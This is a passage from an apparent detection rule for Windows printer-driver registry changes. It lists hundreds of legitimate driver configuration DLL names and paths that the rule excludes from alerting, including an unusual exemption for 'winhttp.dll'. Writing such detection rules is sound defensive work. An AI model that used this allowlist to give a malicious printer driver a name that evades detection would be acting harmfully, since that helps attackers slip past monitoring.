File'\n            - '\\Version-3\\DYMO *\\Configuration File'\n            - '\\Version-3\\NoMachine Printer\\Configuration File'\n            - '\\Version-3\\Samsung *\\Configuration File' # Samsung CLP-350 Series PCL6\n            - '\\Version-3\\Epson *\\Configuration File' # Epson AL-2600\n            - '\\Version-3\\KONICA *\\Configuration File' # KONICA MINOLTA C353 Series XPS\n            - '\\Version-3\\Dell *\\Configuration File' # Dell 2350dn Laser Printer XL\n            - '\\Version-3\\Microsoft XPS Document Writer\\Configuration File'\n            - '\\Version-3\\NRG *\\Configuration File' # (NRG MP C2500 PCL5c)\n            - '\\Version-3\\Generic IBM *\\Configuration File' # (Generic IBM Graphics 9pin wide)\n            - '\\Version-3\\Brother *\\Configuration File' # (Brother PCL5e Driver)\n            - '\\Version-3\\Wildix FaxPrinter\\Configuration File'\n            - '\\Version-3\\Evolis Primacy\\Configuration File'\n        - Details:\n            - 'CN?????.DLL' # (seen CNMUIAE.DLL, CNMUICS.DLL, CNMUIEO.DLL, cnmepui.dll, CNCAUD0.DLL)\n            - 'CN??????.DLL' # (seen CNWTNMUI.DLL)\n            - 'CN???MUI_D????.DLL'\n            - 'CN???MUI_D????.DLL?'\n          TargetObject|endswith: '\\Version-3\\Canon *\\Configuration File'\n        - Details:\n            - 'f??vpr_ui.dll'\n            - 'f?vpr_ui.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\Foxit * Printer Driver\\Configuration File'\n            - '\\Version-3\\Print to Evernote Driver\\Configuration File'\n            - '\\Version-3\\Phantom * Driver\\Configuration File'\n        - Details:\n            - 'hpm?????.dll'\n            - 'hpm??????.dll' # (hpm1210su.dll)\n            - 'HPM????????.DLL' # (HPM1210FPSU.DLL)\n            - 'hp??????.DLL' # (hpipi7th.DLL,hpltcfg6.dll)\n            - 'suhp????.dll' # (suhp1020.dll)\n          TargetObject|endswith: '\\Version-3\\HP *\\Configuration File'\n        - Details:\n            - 'rica??ui.dll'\n            - 'ricu??ui.dll'\n            - 'rica??us.dll'\n            - '0riu0???.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\RICOH *\\Configuration File'\n            - '\\Version-3\\PCL6 Driver for Universal Print\\Configuration File'\n            - '\\Version-3\\Gestetner *\\Configuration File'\n            - '\\Version-3\\LANIER *\\Configuration File' # (LANIER SP 4310N PCL 6)\n        - Details:\n            - 'pxcdrvL.dll'\n            - 'PXC?0UIf.DLL'\n            - 'pxcdrv.dll'\n          TargetObject|endswith: '\\Version-3\\PDF-XChange *\\Configuration File'\n        - Details: 'tsprint.dll'\n          TargetObject|endswith: '\\Version-3\\Remote Desktop Easy Print\\Configuration File'\n        - Details: 'acpdfui???.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\Amyuni Document Converter *\\Configuration File'\n            - '\\Version-3\\AutoVue Document Converter *500\\Configuration File'\n        - Details: 'KO?????C.DLL' # (KOAYXS_C.DLL, KOFXOJ1C.DLL)\n          TargetObject|endswith: '\\Version-3\\KONICA MINOLTA *\\Configuration File'\n        - Details:\n            - 'bs??????.DLL' # (bsp15bU6.DLL)\n            - 'BS?????.DLL' # (BSQ70UI.DLL)\n          TargetObject|endswith: '\\Version-3\\Brother *\\Configuration File'\n        - Details: 'EFXUI??A.DLL'\n          TargetObject|endswith:\n            - '\\Version-3\\Epson *\\Configuration File'\n            - '\\Version-3\\Canon *\\Configuration File'\n        - Details: 'BRUI???A.DLL'\n          TargetObject|endswith: '\\Version-3\\Brother *\\Configuration File'\n        - Details:\n            - 'uh004du.dll'\n            - 'uh004du.dll?'\n          TargetObject|endswith: '\\Version-3\\HP Color Laser *\\Configuration File'\n        - Details: 'K?UU????.DLL' # (KXUU10xm.DLL)\n          TargetObject|endswith:\n            - '\\Version-3\\Kyocera *\\Configuration File'\n            - '\\Version-3\\KX DRIVER for Universal Printing\\Configuration File'\n            - '\\Version-3\\\\????i KX\\Configuration File'\n            - '\\Version-3\\\\?????i KX\\Configuration File'\n            - '\\Version-3\\Universal Printing System (UTAX/TA)\\Configuration File'\n        - Details:\n            - 'hpb6sy????_*gui.dll'\n            - 'hpbxjConfig????.dll' # (hpbxjConfig1301.dll)\n            - 'hp????su.dll' # (hp1100su.dll)\n          TargetObject|endswith: '\\Version-3\\HP *\\Configuration File'\n        - Details: 'S??EU.DLL' # (seen SU0EU.DLL, SSOEU.DLL)\n          TargetObject|endswith: '\\Version-3\\Sharp *\\Configuration File'\n        - Details:\n            - 'Cpxpsupdui.dll'\n            - 'Cpupdui.dll'\n            - 'acfpdfuiamd64.dll'\n          TargetObject|endswith: '\\Version-3\\Citrix *\\Configuration File'\n        - Details:\n            - 'ZDesignerui.dll'\n            - 'ZDNui56.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\ZDesigner *\\Configuration File' # (ZDesigner ZD500R-300dpi ZPL, ZDesigner GK420t)\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Drivers\\Version-3\\Zebra *\\Configuration File' # (Zebra  ZP 450-200 dpi, Zebra ZP 500 (EPL))\n        - Details: 'pdfprnui.dll'\n          TargetObject|endswith: '\\Version-3\\\\* PDF Producer Driver\\Configuration File'\n        - Details: 'pt#epl-u.d64'\n          TargetObject|endswith: '\\Version-3\\POSTEK *\\Configuration File' # (POSTEK C168/300s)\n        - Details: 'sht13cdu.dll'\n          TargetObject|endswith: '\\Version-3\\HP Color Laser *\\Configuration File' # HP Color Laser MFP 178 179\n        - Details: 'KMREDrvUI.DLL' # K Comer\n          TargetObject|endswith:\n            - '\\Version-3\\RX416\\Configuration File'\n            - '\\Version-3\\RE418\\Configuration File'\n            - '\\Version-3\\CX418\\Configuration File'\n            - '\\Version-3\\RX106F\\Configuration File'\n        - Details: 'znsprnui.dll'\n          TargetObject|endswith: '\\Version-3\\DocuCom PDF Driver\\Configuration File'\n        - Details: 'udcdrv.dll'\n          TargetObject|endswith: '\\Version-3\\Universal Document Converter\\Configuration File'\n        - Details: 'us008du.dll'\n          TargetObject|endswith: '\\Version-3\\Samsung Universal Print Driver*\\Configuration File'\n        - Details:\n            - 'eng53Ku.DLL'\n            - 'GXE6???.DLL' # (GXE6KAU.DLL)\n            - 'GXE6??.DLL' # (GXE6MU.DLL, GXE6NU.DLL)\n          TargetObject|endswith: '\\Version-3\\RICOH *\\Configuration File'\n        - Details: 'Seagull_V3_ConfigDispatcher.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\Brady *\\Configuration File'\n            - '\\Version-3\\TEC *\\Configuration File' # (TEC B-SX4T (203 dpi))\n            - '\\Version-3\\Intermec *\\Configuration File' # (Intermec PM43c (203 dpi))\n            - '\\Version-3\\EasyCoder *\\Configuration File' # (EasyCoder PF4i (203 dpi) - DP)\n        - Details: 'CRDGUI.DLL'\n          TargetObject|endswith: '\\Version-3\\CP Printer\\Configuration File'\n        - Details: 'fra????.DLL'\n          TargetObject|endswith:\n            - '\\Version-3\\Gestetner *\\Configuration File' # fra56Gu.DLL\n            - '\\Version-3\\RICOH *\\Configuration File' # fra50Fu.DLL\n            - '\\Version-3\\LANIER *\\Configuration File' # fra53Ku.DLL\n        - Details: 'GPCUTUI64.DLL'\n          TargetObject|endswith: '\\Version-3\\Graphtec *\\Configuration File'\n        - Details: 'ss#???-u.d64' # (ss#tec-u.d64, ss#tsc-u.d64)\n          TargetObject|endswith:\n            - '\\Version-3\\TEC *\\Configuration File' # (TEC B-SX4)\n            - '\\Version-3\\Brady *\\Configuration File' # (Brady BBP11-34L)\n        - Details: 'do#dpl-u.d64'\n          TargetObject|endswith: '\\Version-3\\Datamax*\\Configuration File' # (Datamax-O'Neil E-4205A Mark III)\n        - Details: 'CWBAFPUI.DLL'\n          TargetObject|endswith: '\\Version-3\\IBM *\\Configuration File' # (IBM Infoprint 2085 AFP)\n        - Details: 'RIC????.DLL' # (RIC66Ku.DLL, RIC643u.DLL)\n          TargetObject|endswith:\n            - '\\Version-3\\E-22C *\\Configuration File' # (E-22C PCL 6)\n            - '\\Version-3\\RICOH *\\Configuration File' # (RICOH Aficio SP 8100DN PCL 6)\n        - Details: 'vspdfui.dll'\n          TargetObject|endswith: '\\Version-3\\Visage PDF\\Configuration File'\n        - Details: 'dellopd.uiproxy.dll'\n          TargetObject|endswith: '\\Version-3\\Dell *\\Configuration File' # (Dell Open Print Driver (PCL 5))\n        - Details: 'sznprnui.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\PowerPDF\\Configuration File'\n            - '\\Version-3\\NuancePDF\\Configuration File'\n        - Details:\n            - 'OPPQ_UI.DLL'\n            - 'OK?????.DLL' # (OKBBAPG.DLL, OKXLUI2.DLL, OKBL_UI.DLL)\n            - 'OPAM_UI.DLL'\n          TargetObject|endswith:\n            - '\\Version-3\\OKI *\\Configuration File' # (OKI C9850(PCL), OKI B710n(PCL))\n            - '\\Version-3\\ES*\\Configuration File' # (ES7131(PCL))\n        - Details: 'TPPrnUI.DLL'\n          TargetObject|endswith: '\\Version-3\\TP Output Gateway\\Configuration File'\n        - Details: 'MDP???????.DLL' # (MDPS5UIx64.DLL)\n          TargetObject|endswith: '\\Version-3\\MailevaDirect\\Configuration File'\n        - Details: 'th-2500ui.dll'\n          TargetObject|endswith: '\\Version-3\\TH-2500\\Configuration File'\n        - Details: 'JgUI.DLL'\n          TargetObject|endswith: '\\Version-3\\Zebra *\\Configuration File' # (Zebra ZC150 USB Card Printer)\n        - Details: 'Bravo2_u.dll'\n          TargetObject|endswith: '\\Version-3\\Disc Publisher II\\Configuration File'\n        - Details: 'PT_DPPro_u.dll'\n          TargetObject|endswith: '\\Version-3\\Disc Publisher Pro Xi\\Configuration File'\n        - Details: 'PT_DPPro_u.dll'\n          TargetObject|endswith: '\\Version-3\\Disc Publisher Pro Xi\\Configuration File'\n        - Details: 'in#idp-u.d64'\n          TargetObject|endswith:\n            - '\\Version-3\\Intermec *\\Configuration File' # (Intermec PM43c (300 dpi))\n            - '\\Version-3\\EasyCoder *\\Configuration File' # (EasyCoder PF4i (203 dpi) - DP)\n        - Details: 'novaui?.dll'\n          TargetObject|endswith: '\\Version-3\\novaPDF ?\\Configuration File'\n        - Details: 'G2PrintUPDUI_x64.dll'\n          TargetObject|endswith: '\\Version-3\\GoToMyPC UPD Driver\\Configuration File'\n        - Details:\n            - 'pdfsam enhanced_pdfprnui_v*.dll' # (pdfsam enhanced_pdfprnui_v.6.11.0.7.dll)\n            - 'brand_solution_name_pdfprnui_v*.dll' # (brand_solution_name_pdfprnui_v.6.11.0.7.dll)\n            - 'suite_pdfprnui_v*.dll' # (suite_pdfprnui_v.4.12.26.3.dll)\n            - 'soda_pdfprnui_v*.dll'  # (soda_pdfprnui_v.pdf architect_pdfprnui_v.4.12.26.3.dll6.11.0.7.dll)\n            - 'architect_pdfprnui_v*.dll' # (architect_pdfprnui_v.4.12.26.3.dll)'\n            - 'pdf architect_pdfprnui_v*.dll' # (pdf architect_pdfprnui_v.4.12.26.3.dll)\n          TargetObject|endswith:\n            - '\\Version-3\\PDFsam Enhanced *\\Configuration File'\n            - '\\Version-3\\PDF Architect *\\Configuration File' # (PDF Architect 7 Driver, PDF Architect 8 Driver)\n            - '\\Version-3\\PDF Suite *\\Configuration File' # (PDF Suite 2020 Driver)\n            - '\\Version-3\\Soda PDF *\\Configuration File' # (Soda PDF Desktop 12 Driver)\n        - Details: 'ss??mdu.dll' # (ssi5mdu.dll, ssk4mdu.dll, ssp5mdu.dll, ssi2mdu.dll, ssk4mdu.dll)\n          TargetObject|endswith: '\\Version-3\\Samsung * Series*\\Configuration File'\n        - Details: 'OKC??EUI.DLL'\n          TargetObject|endswith: '\\Version-3\\OKI C*\\Configuration File'\n        - Details: 'ps5ui.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\7-pdf printer\\Configuration File'\n            - '\\Version-3\\bluefilesprinter\\Configuration File'\n            - '\\Version-3\\canon *\\Configuration File'\n            - '\\Version-3\\communicationsclients fax driver\\Configuration File'\n            - '\\Version-3\\custpdf writer*\\Configuration File'\n            - '\\Version-3\\dell laser printer 1720dn ps3\\Configuration File'\n            - '\\Version-3\\driverbee-*\\Configuration File'\n            - '\\Version-3\\edocprintpro\\Configuration File'\n            - '\\Version-3\\Epson * series\\Configuration File'\n            - '\\Version-3\\ezeep ps5 printer\\Configuration File'\n            - '\\Version-3\\fx docucentre-vii c3372 ps\\Configuration File'\n            - '\\Version-3\\Generic *\\Configuration File'\n            - '\\Version-3\\ghostscript pdf\\Configuration File'\n            - '\\Version-3\\icanopee printer\\Configuration File'\n            - '\\Version-3\\ixbusprintdriver\\Configuration File'\n            - '\\Version-3\\oki b431(ps)\\Configuration File'\n            - '\\Version-3\\oki c531(ps)\\Configuration File'\n            - '\\Version-3\\output manager universal ps driver\\Configuration File'\n            - '\\Version-3\\papercut global postscript\\Configuration File'\n            - '\\Version-3\\pdf architect driver\\Configuration File'\n            - '\\Version-3\\pdf redirect pro\\Configuration File'\n            - '\\Version-3\\pdfcamp printer driver\\Configuration File'\n            - '\\Version-3\\primopdf\\Configuration File'\n            - '\\Version-3\\pro c7500 *\\Configuration File'\n            - '\\Version-3\\riso c*\\Configuration File'\n            - '\\Version-3\\Sharp *\\Configuration File'\n            - '\\Version-3\\siemens se pdf driver\\Configuration File'\n            - '\\Version-3\\srciprintdriver\\Configuration File'\n            - '\\Version-3\\ta classic universaldriver kpdl\\Configuration File'\n            - '\\Version-3\\Toshiba universal fax\\Configuration File'\n            - '\\Version-3\\vmware postscript *\\Configuration File'\n            - '\\Version-3\\vnc printer (ps)\\Configuration File'\n            - '\\Version-3\\waters unifi printer\\Configuration File'\n            - '\\Version-3\\zwcad virtual eps driver 1.0\\Configuration File'\n        - Details: 'unidrvui.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\3d systems cube 3\\Configuration File'\n            - '\\Version-3\\5006ci\\Configuration File'\n            - '\\Version-3\\activefax\\Configuration File'\n            - '\\Version-3\\adis driver\\Configuration File'\n            - '\\Version-3\\aures odp333\\Configuration File'\n            - '\\Version-3\\badgy200\\Configuration File'\n            - '\\Version-3\\boca bidi fgl 26/46 300 dpi\\Configuration File'\n            - '\\Version-3\\bolt pdf\\Configuration File'\n            - '\\Version-3\\cab-eos5/200\\Configuration File'\n            - '\\Version-3\\cab-xc q6.3/300\\Configuration File'\n            - '\\Version-3\\citizen ct-s310ii\\Configuration File'\n            - '\\Version-3\\color label 2000\\Configuration File'\n            - '\\Version-3\\delcop universal v2 xl\\Configuration File'\n            - '\\Version-3\\e-studio Generic printer hbp\\Configuration File'\n            - '\\Version-3\\everyoneprint universal print driver v2\\Configuration File'\n            - '\\Version-3\\evolis *\\Configuration File'\n            - '\\Version-3\\fax - hp officejet *\\Configuration File'\n            - '\\Version-3\\ff apeos c3570 pcl 6\\Configuration File'\n            - '\\Version-3\\fx apeosport *\\Configuration File'\n            - '\\Version-3\\fx docucentre *\\Configuration File'\n            - '\\Version-3\\ibm infoprint 1000 series\\Configuration File'\n            - '\\Version-3\\idp smart-51 card printer\\Configuration File'\n            - '\\Version-3\\ip-s\\Configuration File'\n            - '\\Version-3\\m08f printer\\Configuration File'\n            - '\\Version-3\\m110s printer\\Configuration File'\n            - '\\Version-3\\munbyn itpp941\\Configuration File'\n            - '\\Version-3\\netphone fax druckertreiber\\Configuration File'\n            - '\\Version-3\\oki *\\Configuration File'\n            - '\\Version-3\\pagemanager pdf writer\\Configuration File'\n            - '\\Version-3\\pm-241-bt\\Configuration File'\n            - '\\Version-3\\pos-80c\\Configuration File'\n            - '\\Version-3\\riso sf 5x30eii series\\Configuration File'\n            - '\\Version-3\\smart notebook document writer\\Configuration File'\n            - '\\Version-3\\star tsp*\\Configuration File'\n            - '\\Version-3\\teamviewer printer\\Configuration File'\n            - '\\Version-3\\thermal receipt #1\\Configuration File'\n            - '\\Version-3\\universal laser printer\\Configuration File'\n            - '\\Version-3\\universal print driver for cloud\\Configuration File'\n            - '\\Version-3\\varioprint 135 pcl6 fr\\Configuration File'\n            - '\\Version-3\\vnc printer (ud)\\Configuration File'\n            - '\\Version-3\\xm fax\\Configuration File'\n            - '\\Version-3\\zvprt?\\Configuration File'\n        - Details:\n            - 'us???du.dll'\n            - 'up???du.dll'\n            - 'spep6du.dll'\n          TargetObject|endswith: '\\Version-3\\samsung *\\Configuration File'\n        - Details: 'dwprinter.dll'\n          TargetObject|endswith: '\\Version-3\\docuware printer driver\\Configuration File'\n        - Details: 'brumfa5a.dll'\n          TargetObject|endswith: '\\Version-3\\Brother * printer\\Configuration File'\n        - Details: 'e_32ulc1ae.dll'\n          TargetObject|endswith: '\\Version-3\\Epson sc-t7200 series\\Configuration File'\n        - Details: 'gznprnui.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\gaaiho pdf\\Configuration File'\n            - '\\Version-3\\nuance pdf\\Configuration File'\n        - Details: 'e_32ulc1be.dll'\n          TargetObject|endswith: '\\Version-3\\Epson sc-t5200 series\\Configuration File'\n        - Details: 'novauik7.dll'\n          TargetObject|endswith: '\\Version-3\\novapdf 7 printer driver\\Configuration File'\n        - Details: 'satov6ui.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\sato gl408e\\Configuration File'\n            - '\\Version-3\\sato ct408i\\Configuration File'\n        - Details: 'solidui3.dll'\n          TargetObject|endswith: '\\Version-3\\solid pdf creator\\Configuration File'\n        - Details: 'seagull_v3_configdispatcher.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\avery adtp1ef (300 dpi) - mpcl\\Configuration File'\n            - \"\\\\Version-3\\\\datamax-o'neil m-4206 mark ii\\\\Configuration File\"\n            - '\\Version-3\\godex g300\\Configuration File'\n            - '\\Version-3\\godex zx1300i\\Configuration File'\n            - '\\Version-3\\honeywell *\\Configuration File'\n            - '\\Version-3\\monarch 9416tt3 xl (300 dpi)\\Configuration File'\n            - '\\Version-3\\thermotex tt-3\\Configuration File'\n            - '\\Version-3\\Toshiba b-fv4 (203 dpi)\\Configuration File'\n            - '\\Version-3\\Toshiba ba400 (203 dpi)\\Configuration File'\n            - '\\Version-3\\tsc *\\Configuration File'\n            - '\\Version-3\\zebra *\\Configuration File'\n        - Details: 'okx058ui.dll'\n          TargetObject|endswith: '\\Version-3\\oki *\\Configuration File'\n        - Details: 'lmiprinterui.dll'\n          TargetObject|endswith: '\\Version-3\\logmein printer driver\\Configuration File'\n        - Details: 'bruhla3d.dll'\n          TargetObject|endswith: '\\Version-3\\Brother hl-6050 series\\Configuration File'\n        - Details: 'eskmf64ui.dll'\n          TargetObject|endswith: '\\Version-3\\esker mf printer driver\\Configuration File'\n        - Details: 'su?hu.dll'\n          TargetObject|endswith: '\\Version-3\\Sharp mx-*\\Configuration File'\n        - Details: 'tht_80ui.dll'\n          TargetObject|endswith: '\\Version-3\\printer tht 8.0\\Configuration File'\n        - Details: 'inf619u.dll'\n          TargetObject|endswith: '\\Version-3\\infotec  is 2220d pcl 6\\Configuration File'\n        - Details: 'nrg611u.dll'\n          TargetObject|endswith: '\\Version-3\\nrg dsm415 pcl 6\\Configuration File'\n        - Details: 'ophp_ui.dll'\n          TargetObject|endswith: '\\Version-3\\oki c310\\Configuration File'\n        - Details: 'koaxjjac.dll'\n          TargetObject|endswith: '\\Version-3\\Generic 36c-0iseriespcl\\Configuration File'\n        - Details: 'koaxmjac.dll'\n          TargetObject|endswith: '\\Version-3\\Generic 36c-0iseriespcl\\Configuration File'\n        - Details:\n            - 'koaxgjac.dll'\n            - 'koaxcjac.dll'\n            - 'koax1jac.dll'\n            - 'koax7jac.dll'\n            - 'koawujac.dll'\n            - 'kobs4jac.dll'\n            - 'kobsbjac.dll'\n            - 'koaxpjac.dll'\n            - 'koax3jac.dll'\n            - 'koaytjac.dll'\n            - 'koaxgsac.dll'\n            - 'koaxojac.dll'\n            - 'koayxjac.dll'\n            - 'koaytsac.dll'\n            - 'koayfjac.dll'\n            - 'koaxysac.dll'\n            - 'koaxdjac.dll'\n            - 'kobs8jac.dll'\n          TargetObject|endswith: '\\Version-3\\Generic *\\Configuration File'\n        - Details: 'edocpdfu.dll'\n          TargetObject|endswith: '\\Version-3\\edocprinter pdf pro\\Configuration File'\n        - Details: 'unidrvui_apct.dll'\n          TargetObject|endswith: '\\Version-3\\apicrypt\\Configuration File'\n        - Details: 'e_32ulc1de.dll'\n          TargetObject|endswith: '\\Version-3\\Epson sc-t7200d series\\Configuration File'\n        - Details: 'okx055ui.dll'\n          TargetObject|endswith: '\\Version-3\\oki *\\Configuration File'\n        - Details: 'rici7qui.dll'\n          TargetObject|endswith: '\\Version-3\\ricoh *\\Configuration File'\n        - Details: 'dlxriziu.dll'\n          TargetObject|endswith: '\\Version-3\\dell 2130cn color laser pcl6\\Configuration File'\n        - Details: 'koaycjac.dll'\n          TargetObject|endswith: '\\Version-3\\Generic 36c-9seriespcl\\Configuration File'\n        - Details: 'eapuif7.dll'\n          TargetObject|endswith: '\\Version-3\\Epson *\\Configuration File'\n        - Details: 'AppliDisvirtualprinterdriverui.dll'\n          TargetObject|endswith: '\\Version-3\\AppliDis virtual printer\\Configuration File'\n        - Details: 'cboui56.dll'\n          TargetObject|endswith: '\\Version-3\\cab *\\Configuration File'\n        - Details: 'cabui.dll'\n          TargetObject|endswith: '\\Version-3\\cab *\\Configuration File'\n        - Details: 'epobw9ac.dll'\n          TargetObject|endswith: '\\Version-3\\Epson al-m300 advanced\\Configuration File'\n        - Details: 'e_2uic1w5e.dll'\n          TargetObject|endswith: '\\Version-3\\Epson wf-c879r series pcl6\\Configuration File'\n        - Details: 'sha7mdu.dll'\n          TargetObject|endswith: '\\Version-3\\hp laserjet mfp m437-m443 pcl6\\Configuration File'\n        - Details: 'rictw0ui.dll'\n          TargetObject|endswith: '\\Version-3\\lan-fax Generic\\Configuration File'\n        - Details: 'pxc50uiaf15.dll'\n          TargetObject|endswith: '\\Version-3\\pdf-xchange 5.0 for finereader 15\\Configuration File'\n        - Details: 'pixelplanetpdui7.dll'\n          TargetObject|endswith: '\\Version-3\\pixelplanet pdfprinter 7\\Configuration File'\n        - Details: 'rc40jui.dll'\n          TargetObject|endswith: '\\Version-3\\riso comcolor ft5230\\Configuration File'\n        - Details: 'esrl6ui.dll'\n          TargetObject|endswith: '\\Version-3\\Toshiba e-studio2809aseries pcl6\\Configuration File'\n        - Details: 'bruhla5a.dll'\n          TargetObject|endswith: '\\Version-3\\Brother hl-5250dn series\\Configuration File'\n        - Details: 'kvpui64.dll'\n          TargetObject|endswith: '\\Version-3\\kingsoft virtual printer driver\\Configuration File'\n        - Details: 'kmuu84h5.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\p-4025w mfp kx\\Configuration File'\n            - '\\Version-3\\p-5534dn kx\\Configuration File'\n        - Details: 'gfe6au.dll'\n          TargetObject|endswith: '\\Version-3\\ricoh aficio sp c242sf pcl 6\\Configuration File'\n        - Details: 'su3hu.dll'\n          TargetObject|endswith: '\\Version-3\\Sharp *\\Configuration File'\n        - Details: 'novaui11.dll'\n          TargetObject|endswith: '\\Version-3\\novapdf 11\\Configuration File'\n        - Details: 'sdo1mdu.dll'\n          TargetObject|endswith: '\\Version-3\\dell 1133 laser mfp gdi\\Configuration File'\n        - Details: 'e1yuicbee.dll'\n          TargetObject|endswith: '\\Version-3\\Epson wf-2950 series\\Configuration File'\n        - Details: 'sht12cdu.dll'\n          TargetObject|endswith: '\\Version-3\\hp color laser 150\\Configuration File'\n        - Details: 'varm611drvui.dll'\n          TargetObject|endswith: '\\Version-3\\m611\\Configuration File'\n        - Details: 'k?uu????.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\olivetti *\\Configuration File'\n            - '\\Version-3\\p-*\\Configuration File'\n            - '\\Version-3\\cd-*\\Configuration File'\n            - '\\Version-3\\cdc *\\Configuration File'\n            - '\\Version-3\\\\* nw-fax\\Configuration File'\n        - Details: 'spe__du.dll'\n          TargetObject|endswith: '\\Version-3\\samsung universal print driver 2\\Configuration File'\n        - Details: 'ss0xu.dll'\n          TargetObject|endswith: '\\Version-3\\Sharp *\\Configuration File'\n        - Details: 'bru?????.dll'\n          TargetObject|endswith: '\\Version-3\\Brother *\\Configuration File'\n        - Details: 'ql106nui.dll'\n          TargetObject|endswith: '\\Version-3\\Brother ql-1060n\\Configuration File'\n        - Details: 'kobkajac.dll'\n          TargetObject|endswith: '\\Version-3\\bw 400-0i pcl\\Configuration File'\n        - Details: 'dopdfui7.dll'\n          TargetObject|endswith: '\\Version-3\\dopdf 7 printer driver\\Configuration File'\n        - Details: 'dtc1250eui.dll'\n          TargetObject|endswith: '\\Version-3\\dtc1250e card printer\\Configuration File'\n        - Details: 'eapcuif7.dll'\n          TargetObject|endswith: '\\Version-3\\Epson cgenerator(180dpi)\\Configuration File'\n        - Details: 'shm4mdu.dll'\n          TargetObject|endswith: '\\Version-3\\hp laser mfp 131 133 135-138\\Configuration File'\n        - Details: 'okx05hui.dll'\n          TargetObject|endswith: '\\Version-3\\oki *\\Configuration File'\n        - Details: 'rici7jui.dll'\n          TargetObject|endswith: '\\Version-3\\ricoh im c3510 jpn rpcs\\Configuration File'\n        - Details: 'eng53zu.dll'\n          TargetObject|endswith: '\\Version-3\\ricoh p 501 pcl 5e\\Configuration File'\n        - Details: 'drvui_x64_oxhoo.dll'\n          TargetObject|endswith: '\\Version-3\\tp??\\Configuration File'\n        - Details: 'sxa7mdu.dll'\n          TargetObject|endswith: '\\Version-3\\xerox workcentre 3225\\Configuration File'\n        - Details: 'ss#zpl-u.d64'\n          TargetObject|endswith: '\\Version-3\\zebra *\\Configuration File'\n        - Details: 'varbmp61drvui.dll'\n          TargetObject|endswith: '\\Version-3\\bmp61\\Configuration File'\n        - Details: 'briu???.dll'\n          TargetObject|endswith: '\\Version-3\\Brother *\\Configuration File'\n        - Details: 'pt????.dll'\n          TargetObject|endswith: '\\Version-3\\Brother pt*\\Configuration File'\n        - Details: 'ptql????.dll'\n          TargetObject|endswith: '\\Version-3\\Brother ql-*\\Configuration File'\n        - Details: 'ocewpd2pui.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\oce *\\Configuration File'\n            - '\\Version-3\\canon colorwave *\\Configuration File'\n        - Details: 'ss#ipl-u.d64'\n          TargetObject|endswith: '\\Version-3\\easycoder *\\Configuration File'\n        - Details: 'eptbk9ac.dll'\n          TargetObject|endswith: '\\Version-3\\Epson al-m1200 advanced\\Configuration File'\n        - Details: 'e_puicafw.dll'\n          TargetObject|endswith: '\\Version-3\\Epson pp-100nprn\\Configuration File'\n        - Details: 'e_2uic1cie.dll'\n          TargetObject|endswith: '\\Version-3\\Epson wf-m5399 series pcl6\\Configuration File'\n        - Details: 'okc04eui.dll'\n          TargetObject|endswith: '\\Version-3\\es????(pcl)\\Configuration File'\n        - Details: 'brand_solution_name_pdfprnui_v*.dll'\n          TargetObject|endswith: '\\Version-3\\expert pdf 15 driver\\Configuration File'\n        - Details: 'sh?????.dll'\n          TargetObject|endswith: '\\Version-3\\hp laser *\\Configuration File'\n        - Details: 'tep39pui.dll'\n          TargetObject|endswith: '\\Version-3\\king jim *\\Configuration File'\n        - Details: 'ricfax64ui.dll'\n          TargetObject|endswith: '\\Version-3\\lan-fax m*\\Configuration File'\n        - Details: 'novauiv6.dll'\n          TargetObject|endswith: '\\Version-3\\novapdf  server *\\Configuration File'\n        - Details: 'nrg63du.dll'\n          TargetObject|endswith: '\\Version-3\\nrg mp c2500 pcl 6\\Configuration File'\n        - Details: 'okx05nui.dll'\n          TargetObject|endswith: '\\Version-3\\oki c834 pcl6\\Configuration File'\n        - Details: 'pxc50uiaf.dll'\n          TargetObject|endswith: '\\Version-3\\pdf-xchange * for finereader\\Configuration File'\n        - Details: 'pdf???ps5ui64.dll'\n          TargetObject|endswith: '\\Version-3\\pdf??? printer driver\\Configuration File'\n        - Details: 'pdfillps?ui.dll'\n          TargetObject|endswith: '\\Version-3\\pdfill writer\\Configuration File'\n        - Details: 'pb50ui64.dll'\n          TargetObject|endswith: '\\Version-3\\printboss *\\Configuration File'\n        - Details: 'ric68tu.dll'\n          TargetObject|endswith: '\\Version-3\\pro c7500 n-50a pcl6\\Configuration File'\n        - Details: 'rc30u.dll'\n          TargetObject|endswith: '\\Version-3\\riso comcolor 7150\\Configuration File'\n        - Details: 'ml285pdu.dll'\n          TargetObject|endswith: '\\Version-3\\samsung ml-2850 series\\Configuration File'\n        - Details: 'cmprecntui.dll'\n          TargetObject|endswith: '\\Version-3\\Sharpdesk composer\\Configuration File'\n        - Details: 'skypdfuipro.dll'\n          TargetObject|endswith: '\\Version-3\\skypdf pro driver\\Configuration File'\n        - Details: 'up898srui.dll'\n          TargetObject|endswith: '\\Version-3\\sony * series\\Configuration File'\n        - Details: 'gxe6nu.dll'\n          TargetObject|endswith: '\\Version-3\\sp 330sfn pcl 6\\Configuration File'\n        - Details: 'es4px6ui.dll'\n          TargetObject|endswith: '\\Version-3\\Toshiba e-studio*\\Configuration File'\n        - Details: 'novaui*.dll'\n          TargetObject|endswith: '\\Version-3\\novapdf *\\Configuration File'\n        - Details: 'ss0iu.dll'\n          TargetObject|endswith: '\\Version-3\\Sharp *\\Configuration File'\n        - Details: 'zdnui50.dll'\n          TargetObject|endswith: '\\Version-3\\zdesigner *\\Configuration File'\n        - Details: 'winhttp.dll'\n          TargetObject|endswith: '\\Version-3\\1234\\Configuration File'\n        - Details: 'av?ui56.dll'\n          TargetObject|endswith: '\\Version-3\\avery *\\Configuration File'\n        - Details: 'braui56.dll'\n          TargetObject|endswith: '\\Version-3\\brady *\\Configuration File'\n        - Details: 'ql58nui.dll'\n          TargetObject|endswith: '\\Version-3\\Brother ql-580n\\Configuration File'\n        - Details: 'c50ui.dll'\n          TargetObject|endswith: '\\Version-3\\c50 card printer\\Configuration File'\n        - 